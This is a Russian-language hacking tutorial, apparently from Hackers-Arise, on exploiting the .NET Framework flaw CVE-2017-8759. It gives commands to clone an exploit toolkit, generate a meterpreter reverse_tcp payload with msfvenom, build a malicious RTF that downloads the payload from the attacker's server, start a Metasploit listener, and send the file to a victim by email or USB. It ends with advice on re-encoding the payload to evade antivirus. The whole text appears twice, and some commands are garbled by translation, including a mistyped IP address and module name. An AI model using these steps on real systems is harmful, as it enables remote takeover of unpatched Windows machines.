12 сентября 2017 года компания FireEye сообщила об обнаружении вредоносного ПО, эксплуатирующего уязвимость CVE-2017-8759. Это вредоносное ПО использует уязвимость в .NET Framework, которая позволяет злоумышленнику удалённо выполнить код на целевой системе (RCE). Это серьёзная проблема, поскольку удалённое выполнение кода означает, что злоумышленник может запустить свой собственный код на удалённой системе и контролировать её или «владеть» ею.
В сети была обнаружена новая вредоносная программа, получившая название Zyklon, использующая этот эксплойт.
Прелесть этого эксплойта в том, что он применим практически к любой системе Windows.
Этот эксплойт внедряет команду для подключения целевой системы к веб-серверу в нашей системе. Там команда получит нашу полезную нагрузку (windows/meterpreter/reverse_tcp) и установит её на целевой системе. Затем полезная нагрузка подключится к прослушивателю, который мы запускаем в Metasploit (multi/handler).
Для реализации части этой уязвимости мы будем использовать Metasploit, поэтому, если вы не знакомы с Metasploit, ознакомьтесь с моей серией статей «Основы Metasploit» здесь, на Hackers-Arise.
В этом уроке я буду использовать имя «gotcha» для файлов .rtf, .exe и .txt. Надеюсь, это не создаёт путаницы. Все это отдельные файлы с уникальными расширениями.
Шаг №1: Загрузите с Github.com
Первый шаг — запустить Kali и открыть терминал.
Когда у вас откроется терминал, мы начнем с загрузки удобного скрипта Python для эксплуатации CVE-2017-8759.
kali > git clone https://github.com/bhdresh/CVE-2017-8759
После успешной загрузки нам необходимо изменить каталог на новый каталог CVE-2017-8759 .
kali > cd CVE-2017-8759
Теперь составьте длинный список этого каталога.
кали > ls -l
Как видите, у нас есть файлы cve-2017-8759_toolkit.py и README.md. Очевидно, один из них — скрипт на Python, а другой — инструкции.
Прежде чем что-либо сделать, нам нужно дать себе разрешение на выполнение файла с помощью chmod .
Кали > chmod 755 cve-2017-8759_toolkit.py
Теперь, когда у нас есть разрешения на выполнение файла, давайте заглянем в README, чтобы получить справку о том, как использовать этот скрипт.
kali > more README.md
Основные переключатели в этом скрипте вы можете увидеть ниже.
Обратите внимание на пример команды на скриншоте выше. Мы будем использовать практически идентичную команду.
Шаг №2: Создайте полезную нагрузку Meterpreter для кода, который будет извлечен с нашего веб-сервера
Прежде чем начать работу со скриптом Python, давайте создадим полезную нагрузку, которую мы в конечном итоге разместим на целевой системе, которая будет подключаться к нашей системе. Для создания полезной нагрузки мы будем использовать msfvenom из Metasploit. Убедитесь, что в LHOST указан IP-адрес вашей системы. Полезную нагрузку мы разместим в каталоге /tmp и назовём её gotcha.exe.
kali > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=6996 -f exe > /tmp/gotcha.exe
Шаг №3: Создайте вредоносный RTF-файл
Далее нам нужно создать вредоносный файл .rtf. Аналогично примеру команды в файле README.md, но мы используем свой IP-адрес и создадим файл с именем «Gotcha.rtf».
kali > python cve-2017-8759_toolkit.py -M gen -w Gotcha.rtf -u http://192.168.1.101/gotcha.txt
Если теперь просмотреть длинный список содержимого каталога, то можно увидеть, что был создан вредоносный файл .rtf.
Шаг №4: Разместите полезную нагрузку на нашем веб-сервере
Далее нам нужно разместить эту полезную нагрузку на веб-сервере. Наш скрипт позволяет настроить веб-сервер, на котором будет размещена полезная нагрузка. При запуске эксплойта он извлечет эту полезную нагрузку и разместит её на целевой системе.
kali > python cve-2017-8759_toolkit.py -M exp -e http://192.168.1.101/gotcha.exe -l /tmp/gotcha.exe
Когда мы нажимаем ENTER, скрипт запускает веб-сервер на порту 80, к которому подключится вредоносная программа и доставит полезную нагрузку, которую мы создали с помощью msfvenom на шаге 2 выше.
Шаг №5: Откройте многопользовательский обработчик для прослушивания соединения.
Теперь нам нужно открыть прослушиватель в нашей системе для подключения к полезной нагрузке meterpreter, когда она выполняется в целевой системе.
kali > msfconsole
msf > использовать mult/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > установить LHOST 192.68.1.101
msf > установить LPORT 6996
Шаг №6: Отправьте вредоносный .rtf-файл цели
Наконец, нам нужно отправить вредоносный RTF-файл по электронной почте, через DropBox, флешку и т. д. целевой системе. Когда целевая система открывает файл, вредоносный код в RTF-файле подключается к нашему веб-серверу через порт 80, получает полезную нагрузку, созданную в msfvenom, которая подключается к нашему слушателю в Metasploit и выводит нам приглашение meterpreter!
Теперь система принадлежит нам!
Конечно, одна из возможных загвоздок в этом сценарии — это то, что система была обновлена. Другая возможная загвоздка — антивирусное ПО обнаруживает нашу полезную нагрузку. В этом случае попробуйте перекодировать её с помощью OWASP-ZSC.
В сети была обнаружена новая вредоносная программа, получившая название Zyklon, использующая этот эксплойт.
Прелесть этого эксплойта в том, что он применим практически к любой системе Windows.
Этот эксплойт внедряет команду для подключения целевой системы к веб-серверу в нашей системе. Там команда получит нашу полезную нагрузку (windows/meterpreter/reverse_tcp) и установит её на целевой системе. Затем полезная нагрузка подключится к прослушивателю, который мы запускаем в Metasploit (multi/handler).
Для реализации части этой уязвимости мы будем использовать Metasploit, поэтому, если вы не знакомы с Metasploit, ознакомьтесь с моей серией статей «Основы Metasploit» здесь, на Hackers-Arise.
В этом уроке я буду использовать имя «gotcha» для файлов .rtf, .exe и .txt. Надеюсь, это не создаёт путаницы. Все это отдельные файлы с уникальными расширениями.
Шаг №1: Загрузите с Github.com
Первый шаг — запустить Kali и открыть терминал.
Когда у вас откроется терминал, мы начнем с загрузки удобного скрипта Python для эксплуатации CVE-2017-8759.
kali > git clone https://github.com/bhdresh/CVE-2017-8759
После успешной загрузки нам необходимо изменить каталог на новый каталог CVE-2017-8759 .
kali > cd CVE-2017-8759
Теперь составьте длинный список этого каталога.
кали > ls -l
Как видите, у нас есть файлы cve-2017-8759_toolkit.py и README.md. Очевидно, один из них — скрипт на Python, а другой — инструкции.
Прежде чем что-либо сделать, нам нужно дать себе разрешение на выполнение файла с помощью chmod .
Кали > chmod 755 cve-2017-8759_toolkit.py
Теперь, когда у нас есть разрешения на выполнение файла, давайте заглянем в README, чтобы получить справку о том, как использовать этот скрипт.
kali > more README.md
Основные переключатели в этом скрипте вы можете увидеть ниже.
Обратите внимание на пример команды на скриншоте выше. Мы будем использовать практически идентичную команду.
Шаг №2: Создайте полезную нагрузку Meterpreter для кода, который будет извлечен с нашего веб-сервера
Прежде чем начать работу со скриптом Python, давайте создадим полезную нагрузку, которую мы в конечном итоге разместим на целевой системе, которая будет подключаться к нашей системе. Для создания полезной нагрузки мы будем использовать msfvenom из Metasploit. Убедитесь, что в LHOST указан IP-адрес вашей системы. Полезную нагрузку мы разместим в каталоге /tmp и назовём её gotcha.exe.
kali > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=6996 -f exe > /tmp/gotcha.exe
Шаг №3: Создайте вредоносный RTF-файл
Далее нам нужно создать вредоносный файл .rtf. Аналогично примеру команды в файле README.md, но мы используем свой IP-адрес и создадим файл с именем «Gotcha.rtf».
kali > python cve-2017-8759_toolkit.py -M gen -w Gotcha.rtf -u http://192.168.1.101/gotcha.txt
Если теперь просмотреть длинный список содержимого каталога, то можно увидеть, что был создан вредоносный файл .rtf.
Шаг №4: Разместите полезную нагрузку на нашем веб-сервере
Далее нам нужно разместить эту полезную нагрузку на веб-сервере. Наш скрипт позволяет настроить веб-сервер, на котором будет размещена полезная нагрузка. При запуске эксплойта он извлечет эту полезную нагрузку и разместит её на целевой системе.
kali > python cve-2017-8759_toolkit.py -M exp -e http://192.168.1.101/gotcha.exe -l /tmp/gotcha.exe
Когда мы нажимаем ENTER, скрипт запускает веб-сервер на порту 80, к которому подключится вредоносная программа и доставит полезную нагрузку, которую мы создали с помощью msfvenom на шаге 2 выше.
Шаг №5: Откройте многопользовательский обработчик для прослушивания соединения.
Теперь нам нужно открыть прослушиватель в нашей системе для подключения к полезной нагрузке meterpreter, когда она выполняется в целевой системе.
kali > msfconsole
msf > использовать mult/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > установить LHOST 192.68.1.101
msf > установить LPORT 6996
Шаг №6: Отправьте вредоносный .rtf-файл цели
Наконец, нам нужно отправить вредоносный RTF-файл по электронной почте, через DropBox, флешку и т. д. целевой системе. Когда целевая система открывает файл, вредоносный код в RTF-файле подключается к нашему веб-серверу через порт 80, получает полезную нагрузку, созданную в msfvenom, которая подключается к нашему слушателю в Metasploit и выводит нам приглашение meterpreter!
Теперь система принадлежит нам!
Конечно, одна из возможных загвоздок в этом сценарии — это то, что система была обновлена. Другая возможная загвоздка — антивирусное ПО обнаруживает нашу полезную нагрузку. В этом случае попробуйте перекодировать её с помощью OWASP-ZSC.